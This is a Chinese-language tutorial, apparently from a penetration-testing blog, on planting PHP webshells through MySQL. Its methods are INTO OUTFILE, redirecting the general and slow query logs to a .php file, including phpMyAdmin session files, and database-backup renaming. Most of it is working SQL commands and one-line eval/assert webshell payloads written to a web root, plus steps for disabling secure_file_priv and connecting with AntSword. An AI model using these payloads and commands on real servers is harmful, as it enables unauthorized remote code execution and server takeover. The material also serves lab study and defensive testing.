0x01、利用MySQL命令导出getshell
利用条件：
1、拥有网站的写入权限
2、Secure_file_priv参数为空或者为指定路径
3、知道网站的绝对路径
方法：
通过into outfile 进行文件写入，写入一句话木马
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');
SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';
*************************OR************************************
select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';
测试：
利用PHPStudy打开MySQL命令行
通过show global variables like ‘%secure%’；命令查看secure_file_priv，这个参数用来限制数据的导入和导出操作。
如上图所示，这个参数为NULL，MySQL服务会禁止导入和导出操作。
解决方法：
windows下：修改my.ini 在[mysqld]内加入secure_file_priv =
linux下：修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql，再查询secure_file_priv
现在即可将一句话木马导入到指定文件
用蚁剑连一下，可以成功连接。
0x02利用日志getshell
利用general_log和general_log_file拿shell
方法：
开启general_log后，系统将mysql执行的每一条查询语句写入我们指定位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后，执行SELECT '<?php assert($_POST["cmd"]);?>';，这个指令就把木马插入到我们指定的php文件中去了。
测试：
利用PHPStudy打开MySQL命令行
执行下面操作，修改general_log_file的值
set global general_log = "ON";
set global general_log_file=” D:/php/www/shell.php”
在查询语句中写入一句话木马
这样就成功将一句话写入了我们指定的文件。
用蚁剑连一下，可以成功连接：
当然，也可以在phpmyadmin里面更改
利用慢查询日志写shell
原理：
慢查询日志，只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值，时间以秒为单位，可以精确到微秒。如果查询时间超过了这个时间值，这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下：
show global variables like '%long_query_time%';
通常情况下执行sql语句时的执行时间一般不会超过10s，所以说这个日志文件应该是比较小的，而且默认也是禁用状态，不容易引起管理员的察觉。
测试：
利用PHPStudy打开MySQL命令行
执行下面操作，修改slow_query_log的值
set global slow_query_log = "ON";
set global slow_query_log_file =” D:/php/www/shell.php”
在查询语句中写入一句话木马并延时10秒以上：
select "<?php @eval($_POST['cmd']); ?>" or sleep(11);
蚁剑连接测试
0x03 利用文件包含漏洞getshell
原理：
对于phpmyadmin来说有一种特殊的机制，所有SQL的执行操作将存入session。
所以，如果目标站点存在文件包含漏洞，我们可以通过包含session文件来拿shell。
测试：
利用PHPStudy启一个环境。打开phpmyadmin,输入sql查询语句,执行
我们在session文件中就能找到这条语句的执行记录：
为了测试，我手动建立了一个存在文件包含漏洞的php文件
然后去包含我们的session文件
蚁剑连接测试
0x04 利用数据库备份getshell
网站对上传的文件后缀进行过滤，不允许上传脚本类型文件如asp/php/jsp/aspx等。
而网站具有数据库备份功能，这时我们就可以将webshell格式先改为允许上传的文件格式，如jpg、gif等，然后，我们找到上传后的文件路径，通过数据库备份，将文件备份为脚本格式。
